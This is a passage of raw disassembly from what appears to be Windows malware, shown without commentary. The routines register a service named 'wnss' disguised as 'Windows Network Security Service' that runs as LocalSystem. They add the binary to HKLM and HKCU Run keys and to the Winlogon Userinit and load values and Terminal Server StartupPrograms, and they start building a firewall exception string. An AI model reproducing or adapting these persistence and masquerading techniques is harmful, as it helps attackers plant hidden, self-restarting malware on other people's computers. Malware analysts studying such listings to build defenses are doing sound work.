add esp, 0Ch
mov dword ptr [ebp-44h], 44h
test ebx, ebx
jz short loc_404CB9
push offset asc_40EDE8 ; "\""
lea eax, [ebp-844h]
push eax
call sub_407730
pop ecx
pop ecx
jmp short loc_404CC0
; ---------------------------------------------------------------------------
loc_404CB9: ; CODE XREF: DMN0:00404CA2j
mov byte ptr [ebp-844h], 0
loc_404CC0: ; CODE XREF: DMN0:00404CB7j
cmp dword ptr [ebp+8], 0
jz short loc_404CD9
push dword ptr [ebp+8]
lea eax, [ebp-844h]
push eax
call sub_407750
pop ecx
pop ecx
jmp short loc_404CEC
; ---------------------------------------------------------------------------
loc_404CD9: ; CODE XREF: DMN0:00404CC4j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
lea eax, [ebp-844h]
push eax
call sub_407750
pop ecx
pop ecx
loc_404CEC: ; CODE XREF: DMN0:00404CD7j
test ebx, ebx
jz short loc_404D03
push offset asc_40EDE8 ; "\""
lea eax, [ebp-844h]
push eax
call sub_407750
pop ecx
pop ecx
loc_404D03: ; CODE XREF: DMN0:00404CEEj
cmp dword ptr [ebp+0Ch], 0
jz short loc_404D2D
push offset asc_40EDC9 ; " "
lea eax, [ebp-844h]
push eax
call sub_407750
pop ecx
pop ecx
push dword ptr [ebp+0Ch]
lea eax, [ebp-844h]
push eax
call sub_407750
pop ecx
pop ecx
loc_404D2D: ; CODE XREF: DMN0:00404D07j
lea eax, [ebp-854h]
push eax
lea eax, [ebp-44h]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp-844h]
push eax
push 0
call dword_411D10
test eax, eax
jz short loc_404D72
push dword ptr [ebp-850h]
call dword_411CF8
push dword ptr [ebp-854h]
call dword_411CF8
xor eax, eax
inc eax
loc_404D72: ; CODE XREF: DMN0:00404D55j
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_404D77 proc near ; CODE XREF: sub_405CA2+21p
; sub_4067B0:loc_406AECp ...
push ebx
push esi
push 0F003Fh
push 0
push 0
call dword_411E48
mov ebx, eax
test eax, eax
jz short loc_404DBE
push 4
push offset aWnss ; "wnss"
push ebx
call dword_411E4C
mov esi, eax
test esi, esi
jnz short loc_404DAD
push ebx
call dword_411E50
xor eax, eax
jmp short loc_404DBE
; ---------------------------------------------------------------------------
loc_404DAD: ; CODE XREF: sub_404D77+29j
push esi
call dword_411E50
push ebx
call dword_411E50
xor eax, eax
inc eax
loc_404DBE: ; CODE XREF: sub_404D77+15j
; sub_404D77+34j
pop esi
pop ebx
retn
sub_404D77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404DC1 proc near ; CODE XREF: sub_4067B0+3C4p
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
push 0F003Fh
push 0
push 0
call dword_411E48
mov ebx, eax
test eax, eax
jz short loc_404E2B
push 94h
push offset aWnss ; "wnss"
push ebx
call dword_411E4C
mov esi, eax
test esi, esi
jnz short loc_404E01
push ebx
call dword_411E50
xor eax, eax
jmp short loc_404E2B
; ---------------------------------------------------------------------------
loc_404E01: ; CODE XREF: sub_404DC1+33j
xor edi, edi
lea eax, [ebp+var_1C]
push eax
push esi
call dword_411E54
test eax, eax
jz short loc_404E1B
cmp [ebp+var_18], 4
jnz short loc_404E1B
xor edi, edi
inc edi
loc_404E1B: ; CODE XREF: sub_404DC1+4Fj
; sub_404DC1+55j
push esi
call dword_411E50
push ebx
call dword_411E50
mov eax, edi
loc_404E2B: ; CODE XREF: sub_404DC1+1Cj
; sub_404DC1+3Ej
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404DC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404E32 proc near ; CODE XREF: sub_404EC7+32p
; sub_404F15+39p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov ebx, [ebp+arg_0]
push 0
push 0
push 0
push 0
push 0
push 0
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push 0
push 2
push 0FFFFFFFFh
push ebx
call dword_411E58
test eax, eax
jnz short loc_404E74
call dword_411CE8
cmp eax, 430h
jnz short loc_404E70
or eax, 0FFFFFFFFh
jmp short loc_404EC2
; ---------------------------------------------------------------------------
loc_404E70: ; CODE XREF: sub_404E32+37j
xor eax, eax
jmp short loc_404EC2
; ---------------------------------------------------------------------------
loc_404E74: ; CODE XREF: sub_404E32+2Aj
mov [ebp+var_1C], 1
and [ebp+var_18], 0
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
lea eax, [ebp+var_1C]
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push eax
push 2
push ebx
call dword_411E5C
test eax, eax
jnz short loc_404EBF
call dword_411CE8
cmp eax, 430h
jnz short loc_404EBB
or eax, 0FFFFFFFFh
jmp short loc_404EC2
; ---------------------------------------------------------------------------
loc_404EBB: ; CODE XREF: sub_404E32+82j
xor eax, eax
jmp short loc_404EC2
; ---------------------------------------------------------------------------
loc_404EBF: ; CODE XREF: sub_404E32+75j
xor eax, eax
inc eax
loc_404EC2: ; CODE XREF: sub_404E32+3Cj
; sub_404E32+40j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_404E32 endp
; =============== S U B R O U T I N E =======================================
sub_404EC7 proc near ; CODE XREF: sub_404FE9+6Dp
; sub_405CA2:loc_405CDAp
push ebx
push esi
push edi
xor edi, edi
push 0F003Fh
push 0
push 0
call dword_411E48
mov ebx, eax
test eax, eax
jz short loc_404F11
push 96h
push offset aWnss ; "wnss"
push ebx
call dword_411E4C
mov esi, eax
test esi, esi
jz short loc_404F08
push esi
call sub_404E32
pop ecx
mov edi, eax
push esi
call dword_411E50
loc_404F08: ; CODE XREF: sub_404EC7+2Fj
push ebx
call dword_411E50
mov eax, edi
loc_404F11: ; CODE XREF: sub_404EC7+18j
pop edi
pop esi
pop ebx
retn
sub_404EC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F15 proc near ; CODE XREF: DMN0:00405BD9p
; sub_4067B0+428p ...
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
xor esi, esi
push 0F003Fh
push 0
push 0
call dword_411E48
mov edi, eax
test eax, eax
jz loc_404FE2
push 16h
push offset aWnss ; "wnss"
push edi
call dword_411E4C
mov ebx, eax
test ebx, ebx
jz short loc_404F71
push ebx
call sub_404E32
pop ecx
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_404F6D
push ebx
call dword_411E50
push edi
call dword_411E50
mov eax, esi
jmp short loc_404FE2
; ---------------------------------------------------------------------------
loc_404F6D: ; CODE XREF: sub_404F15+44j
xor esi, esi
jmp short loc_404F81
; ---------------------------------------------------------------------------
loc_404F71: ; CODE XREF: sub_404F15+36j
push 14h
push offset aWnss ; "wnss"
push edi
call dword_411E4C
mov ebx, eax
loc_404F81: ; CODE XREF: sub_404F15+5Aj
test ebx, ebx
jnz short loc_404F90
push edi
call dword_411E50
xor eax, eax
jmp short loc_404FE2
; ---------------------------------------------------------------------------
loc_404F90: ; CODE XREF: sub_404F15+6Ej
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_411E54
test eax, eax
jz short loc_404FA8
cmp [ebp+var_18], 4
jnz short loc_404FA8
xor esi, esi
inc esi
loc_404FA8: ; CODE XREF: sub_404F15+88j
; sub_404F15+8Ej
test esi, esi
jnz short loc_404FD2
push 0
push 0
push ebx
call dword_411E60
test eax, eax
jz short loc_404FC2
mov esi, 2
jmp short loc_404FD2
; ---------------------------------------------------------------------------
loc_404FC2: ; CODE XREF: sub_404F15+A4j
call dword_411CE8
cmp eax, 430h
jnz short loc_404FD2
or esi, 0FFFFFFFFh
loc_404FD2: ; CODE XREF: sub_404F15+95j
; sub_404F15+ABj ...
push ebx
call dword_411E50
push edi
call dword_411E50
mov eax, esi
loc_404FE2: ; CODE XREF: sub_404F15+1Ej
; sub_404F15+56j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404F15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FE9 proc near ; CODE XREF: sub_405CA2:loc_405CEBp
; sub_4067B0+3F3p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_113 = byte ptr -113h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 0F003Fh
push 0
push 0
call dword_411E48
mov esi, eax
test eax, eax
jz loc_405124
push 0
push 0
push 0
push 0
push 0
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push 0
push 2
push 110h
push 0F01FFh
push offset aWindowsNetwork ; "Windows Network Security Service"
push offset aWnss ; "wnss"
push esi
call dword_411E64
mov ebx, eax
test ebx, ebx
jnz short loc_405071
call dword_411CE8
cmp eax, 431h
jnz short loc_405063
push esi
call dword_411E50
call sub_404EC7
xor eax, eax
inc eax
jmp loc_405124
; ---------------------------------------------------------------------------
loc_405063: ; CODE XREF: sub_404FE9+64j
push esi
call dword_411E50
xor eax, eax
jmp loc_405124
; ---------------------------------------------------------------------------
loc_405071: ; CODE XREF: sub_404FE9+57j
push offset aServiceRegiste ; "service registered\n"
call nullsub_2
pop ecx
xor edi, edi
inc edi
push 0FFh
push offset aProvidesNetwor ; "Provides network security options for s"...
lea eax, [ebp+var_113]
push eax
call dword_411D3C
lea eax, [ebp+var_113]
mov [ebp+var_120], eax
lea eax, [ebp+var_120]
push eax
push 1
push ebx
call dword_411E5C
test eax, eax
jnz short loc_4050C6
call dword_411CE8
cmp eax, 430h
jnz short loc_4050C6
or edi, 0FFFFFFFFh
loc_4050C6: ; CODE XREF: sub_404FE9+CBj
; sub_404FE9+D8j
mov [ebp+var_11C], 1
and [ebp+var_118], 0
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
lea eax, [ebp+var_11C]
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push eax
push 2
push ebx
call dword_411E5C
test eax, eax
jnz short loc_405114
call dword_411CE8
cmp eax, 430h
jnz short loc_405114
or edi, 0FFFFFFFFh
loc_405114: ; CODE XREF: sub_404FE9+119j
; sub_404FE9+126j
push ebx
call dword_411E50
push esi
call dword_411E50
mov eax, edi
loc_405124: ; CODE XREF: sub_404FE9+1Fj
; sub_404FE9+75j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404FE9 endp
; =============== S U B R O U T I N E =======================================
sub_40512B proc near ; CODE XREF: sub_403FEA+9p
; sub_4067B0+B0p ...
push ebx
push esi
push 0F003Fh
push 0
push 0
call dword_411E48
mov ebx, eax
test eax, eax
jz short loc_40516D
push 0F01FFh
push offset aWnss ; "wnss"
push ebx
call dword_411E4C
mov esi, eax
push esi
call dword_411E68
push esi
call dword_411E50
push ebx
call dword_411E50
xor eax, eax
inc eax
loc_40516D: ; CODE XREF: sub_40512B+15j
pop esi
pop ebx
retn
sub_40512B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405170 proc near ; CODE XREF: sub_405CA2+2Ap
; sub_4067B0+40Ap
var_53C = dword ptr -53Ch
var_538 = byte ptr -538h
var_534 = byte ptr -534h
var_409 = byte ptr -409h
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
push ebp
mov ebp, esp
sub esp, 53Ch
push ebx
push esi
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
lea eax, [ebp+var_400]
push eax
call sub_407730
pop ecx
pop ecx
lea ebx, [ebp+var_400]
lea eax, [ebp+var_400]
push eax
call sub_407710
pop ecx
add ebx, eax
push offset aWnss ; "wnss"
push ebx
call sub_407730
pop ecx
pop ecx
xor esi, esi
lea eax, [ebp+var_404]
push eax
push 0F003Fh
push 0
lea eax, [ebp+var_400]
push eax
push 80000002h
call dword_411E30
test eax, eax
jnz short loc_40523E
mov [ebp+var_408], 12Ch
lea eax, [ebp+var_408]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_538]
push eax
push 0
push offset aImagepath ; "ImagePath"
push [ebp+var_404]
call dword_411E44
mov [ebp+var_53C], eax
test eax, eax
jnz short loc_405232
mov [ebp+var_409], 0
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
lea eax, [ebp+var_534]
push eax
call dword_411D38
test eax, eax
jnz short loc_405232
xor esi, esi
inc esi
loc_405232: ; CODE XREF: sub_405170+A0j
; sub_405170+BDj
push [ebp+var_404]
call dword_411E2C
loc_40523E: ; CODE XREF: sub_405170+64j
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_405170 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405246 proc near ; CODE XREF: sub_405CA2+33p
; sub_4067B0+413p
var_40C = byte ptr -40Ch
var_408 = byte ptr -408h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 40Ch
push ebx
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
lea eax, [ebp+var_408]
push eax
call sub_407730
pop ecx
pop ecx
lea ebx, [ebp+var_408]
lea eax, [ebp+var_408]
push eax
call sub_407710
pop ecx
add ebx, eax
push offset aWnss ; "wnss"
push ebx
call sub_407730
pop ecx
pop ecx
lea eax, [ebp+var_40C]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea eax, [ebp+var_408]
push eax
push 80000002h
call dword_411E24
test eax, eax
jnz loc_4053BB
mov [ebp+var_8], 110h
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aType ; "Type"
push [ebp+var_4]
call dword_411E28
mov [ebp+var_8], 2
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aStart ; "Start"
push [ebp+var_4]
call dword_411E28
and [ebp+var_8], 0
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aErrorcontrol ; "ErrorControl"
push [ebp+var_4]
call dword_411E28
and [ebp+var_8], 0
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aErrorcontrol ; "ErrorControl"
push [ebp+var_4]
call dword_411E28
push 0Ch
push offset aLocalsystem ; "LocalSystem"
push 1
push 0
push offset aObjectname ; "ObjectName"
push [ebp+var_4]
call dword_411E28
push offset aWindowsNetwork ; "Windows Network Security Service"
call sub_407710
pop ecx
inc eax
push eax
push offset aWindowsNetwork ; "Windows Network Security Service"
push 1
push 0
push offset aDisplayname ; "DisplayName"
push [ebp+var_4]
call dword_411E28
push offset aProvidesNetwor ; "Provides network security options for s"...
call sub_407710
pop ecx
inc eax
push eax
push offset aProvidesNetwor ; "Provides network security options for s"...
push 1
push 0
push offset aDescription ; "Description"
push [ebp+var_4]
call dword_411E28
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
call sub_407710
pop ecx
inc eax
push eax
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push 1
push 0
push offset aImagepath ; "ImagePath"
push [ebp+var_4]
call dword_411E28
push [ebp+var_4]
call dword_411E2C
loc_4053BB: ; CODE XREF: sub_405246+6Bj
pop ebx
mov esp, ebp
pop ebp
retn
sub_405246 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}"
push 0
push 0
push 0
call dword_411D40
mov ebx, eax
test eax, eax
jz short loc_4053F4
push ebx
call dword_411D44
mov esi, eax
push ebx
call dword_411CF8
test esi, esi
jz short loc_4053F2
xor eax, eax
inc eax
jmp short loc_4053F4
; ---------------------------------------------------------------------------
loc_4053F2: ; CODE XREF: DMN0:004053EBj
xor eax, eax
loc_4053F4: ; CODE XREF: DMN0:004053D7j
; DMN0:004053F0j
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053F7 proc near ; CODE XREF: sub_405604+89p
; sub_40569A+CAp ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E24
test eax, eax
jnz short loc_405449
push [ebp+arg_C]
call sub_407710
pop ecx
inc eax
push eax
push [ebp+arg_C]
push 1
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E28
push [ebp+var_4]
call dword_411E2C
loc_405449: ; CODE XREF: sub_4053F7+29j
mov esp, ebp
pop ebp
retn
sub_4053F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40544D proc near ; CODE XREF: sub_405555+3Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov esi, [ebp+arg_0]
push esi
call sub_407710
pop ecx
mov edi, eax
push [ebp+var_4]
call sub_407710
pop ecx
mov ebx, eax
jmp short loc_405491
; ---------------------------------------------------------------------------
loc_405473: ; CODE XREF: sub_40544D+46j
push ebx
push [ebp+var_4]
push ebx
push esi
push 1
push 400h
call dword_411CFC
cmp eax, 2
jnz short loc_40548F
mov eax, esi
jmp short loc_405497
; ---------------------------------------------------------------------------
loc_40548F: ; CODE XREF: sub_40544D+3Cj
inc esi
dec edi
loc_405491: ; CODE XREF: sub_40544D+24j
cmp edi, ebx
jge short loc_405473
xor eax, eax
loc_405497: ; CODE XREF: sub_40544D+40j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40544D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40549E proc near ; CODE XREF: sub_405555+23p
; sub_405604+4Ap ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_C]
mov edi, [ebp+arg_10]
cmp edi, 1
jl short loc_4054B9
test esi, esi
jnz short loc_4054C0
loc_4054B9: ; CODE XREF: sub_40549E+15j
xor eax, eax
jmp loc_40554E
; ---------------------------------------------------------------------------
loc_4054C0: ; CODE XREF: sub_40549E+19j
lea eax, [ebp+var_8]
push eax
push 0F003Fh
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E30
test eax, eax
jz short loc_4054DF
xor eax, eax
jmp short loc_40554E
; ---------------------------------------------------------------------------
loc_4054DF: ; CODE XREF: sub_40549E+3Bj
push [ebp+arg_4]
push offset aRegreadOpenedS ; "RegRead(): opened %s\n"
call nullsub_2
pop ecx
pop ecx
push edi
push 0
push esi
call sub_407690
add esp, 0Ch
lea eax, [edi-1]
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push esi
lea eax, [ebp+var_10]
push eax
push 0
push ebx
push [ebp+var_8]
call dword_411E44
mov [ebp+var_C], eax
push [ebp+var_8]
call dword_411E2C
cmp [ebp+var_C], 0
jnz short loc_40553F
push esi
push ebx
push [ebp+var_4]
push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n"
call nullsub_2
add esp, 10h
mov eax, [ebp+var_4]
dec eax
jmp short loc_40554E
; ---------------------------------------------------------------------------
loc_40553F: ; CODE XREF: sub_40549E+87j
push ebx
push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
call nullsub_2
pop ecx
pop ecx
xor eax, eax
loc_40554E: ; CODE XREF: sub_40549E+1Dj
; sub_40549E+3Fj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40549E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405555 proc near ; CODE XREF: sub_405604+23p
; sub_40569A+24p ...
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4077F0
push ebx
push 2000h
lea eax, [ebp+var_2000]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40549E
add esp, 14h
mov ebx, eax
test eax, eax
jz short loc_4055A2
push [ebp+arg_C]
lea eax, [ebp+var_2000]
push eax
call sub_40544D
pop ecx
pop ecx
test eax, eax
jz short loc_4055A0
xor eax, eax
inc eax
jmp short loc_4055A2
; ---------------------------------------------------------------------------
loc_4055A0: ; CODE XREF: sub_405555+44j
xor eax, eax
loc_4055A2: ; CODE XREF: sub_405555+2Fj
; sub_405555+49j
pop ebx
mov esp, ebp
pop ebp
retn
sub_405555 endp
; =============== S U B R O U T I N E =======================================
sub_4055A7 proc near ; CODE XREF: sub_405833+1Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov esi, [esp+0Ch+arg_8]
mov edi, [esp+0Ch+arg_C]
test edi, edi
jz short loc_4055C0
mov byte ptr [ebx], 22h
inc ebx
jmp short loc_4055C3
; ---------------------------------------------------------------------------
loc_4055C0: ; CODE XREF: sub_4055A7+11j
mov byte ptr [ebx], 0
loc_4055C3: ; CODE XREF: sub_4055A7+17j
push [esp+0Ch+arg_4]
push ebx
call sub_407730
pop ecx
pop ecx
push [esp+0Ch+arg_4]
call sub_407710
pop ecx
add ebx, eax
test edi, edi
jz short loc_4055E3
mov byte ptr [ebx], 22h
inc ebx
loc_4055E3: ; CODE XREF: sub_4055A7+36j
test esi, esi
jz short loc_4055FD
mov byte ptr [ebx], 20h
inc ebx
push esi
push ebx
call sub_407730
pop ecx
pop ecx
push esi
call sub_407710
pop ecx
add ebx, eax
loc_4055FD: ; CODE XREF: sub_4055A7+3Ej
mov byte ptr [ebx], 0
pop edi
pop esi
pop ebx
retn
sub_4055A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405604 proc near ; CODE XREF: sub_405833+78p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4077F0
push ebx
push dword_4128A4
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_405555
add esp, 10h
test eax, eax
jnz short loc_405695
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_40549E
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_405663
mov [ebp+var_2000], 0
loc_405663: ; CODE XREF: sub_405604+56j
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_407750
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_4053F7
add esp, 10h
loc_405695: ; CODE XREF: sub_405604+2Dj
pop ebx
mov esp, ebp
pop ebp
retn
sub_405604 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40569A proc near ; CODE XREF: sub_405833+7Dp
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4077F0
push ebx
push esi
push dword_4128A4
push offset aUserinit ; "Userinit"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_405555
add esp, 10h
test eax, eax
jnz loc_40576C
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aUserinit ; "Userinit"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_40549E
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_4056FE
mov [ebp+var_2000], 0
loc_4056FE: ; CODE XREF: sub_40569A+5Bj
cmp [ebp+var_2000], 0
jz short loc_405723
lea esi, [ebp+var_2000]
jmp short loc_405710
; ---------------------------------------------------------------------------
loc_40570F: ; CODE XREF: sub_40569A+79j
inc esi
loc_405710: ; CODE XREF: sub_40569A+73j
cmp byte ptr [esi], 0
jnz short loc_40570F
dec esi
cmp byte ptr [esi], 2Ch
jz short loc_405723
inc esi
mov byte ptr [esi], 2Ch
inc esi
mov byte ptr [esi], 0
loc_405723: ; CODE XREF: sub_40569A+6Bj
; sub_40569A+7Fj
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_407750
pop ecx
pop ecx
test ebx, ebx
jnz short loc_40574E
push offset asc_40E73C ; ","
lea eax, [ebp+var_2000]
push eax
call sub_407750
pop ecx
pop ecx
loc_40574E: ; CODE XREF: sub_40569A+9Fj
lea eax, [ebp+var_2000]
push eax
push offset aUserinit ; "Userinit"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_4053F7
add esp, 10h
loc_40576C: ; CODE XREF: sub_40569A+2Ej
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40569A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405772 proc near ; CODE XREF: sub_405833+82p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4077F0
push ebx
push esi
push dword_4128A4
push offset aLoad ; "load"
push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_405555
add esp, 10h
test eax, eax
jnz loc_40582D
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aLoad ; "load"
push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_40549E
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_4057D6
mov [ebp+var_2000], 0
loc_4057D6: ; CODE XREF: sub_405772+5Bj
cmp [ebp+var_2000], 0
jz short loc_4057FB
lea esi, [ebp+var_2000]
jmp short loc_4057E8
; ---------------------------------------------------------------------------
loc_4057E7: ; CODE XREF: sub_405772+79j
inc esi
loc_4057E8: ; CODE XREF: sub_405772+73j
cmp byte ptr [esi], 0
jnz short loc_4057E7
dec esi
cmp byte ptr [esi], 2Ch
jz short loc_4057FB
inc esi
mov byte ptr [esi], 2Ch
inc esi
mov byte ptr [esi], 0
loc_4057FB: ; CODE XREF: sub_405772+6Bj
; sub_405772+7Fj
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_407750
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aLoad ; "load"
push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_4053F7
add esp, 10h
loc_40582D: ; CODE XREF: sub_405772+2Ej
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_405772 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405833 proc near ; CODE XREF: sub_4067B0+557p
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4077F0
push 1
push offset asc_40E700 ; "*"
push [ebp+arg_0]
lea eax, [ebp+var_2000]
push eax
call sub_4055A7
add esp, 10h
push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
call nullsub_2
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aWindowsNetwork ; "Windows Network Security Service"
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call sub_4053F7
add esp, 10h
push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
call nullsub_2
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aWindowsNetwork ; "Windows Network Security Service"
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call sub_4053F7
add esp, 10h
call sub_405604
call sub_40569A
call sub_405772
mov esp, ebp
pop ebp
retn
sub_405833 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4058BE proc near ; CODE XREF: sub_4067B0+236p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4077F0
mov [ebp+var_2000], 0
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_407750
pop ecx
pop ecx
push offset aEnabled ; ":*:Enabled:"
lea eax, [ebp+var_2000]
push eax
call sub_407750
pop ecx
pop ecx
push offset aWindowsNetwork ; "Windows Network Security Service"
lea eax, [ebp+var_2000]
push eax
call sub_407750
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push dword_4128A4
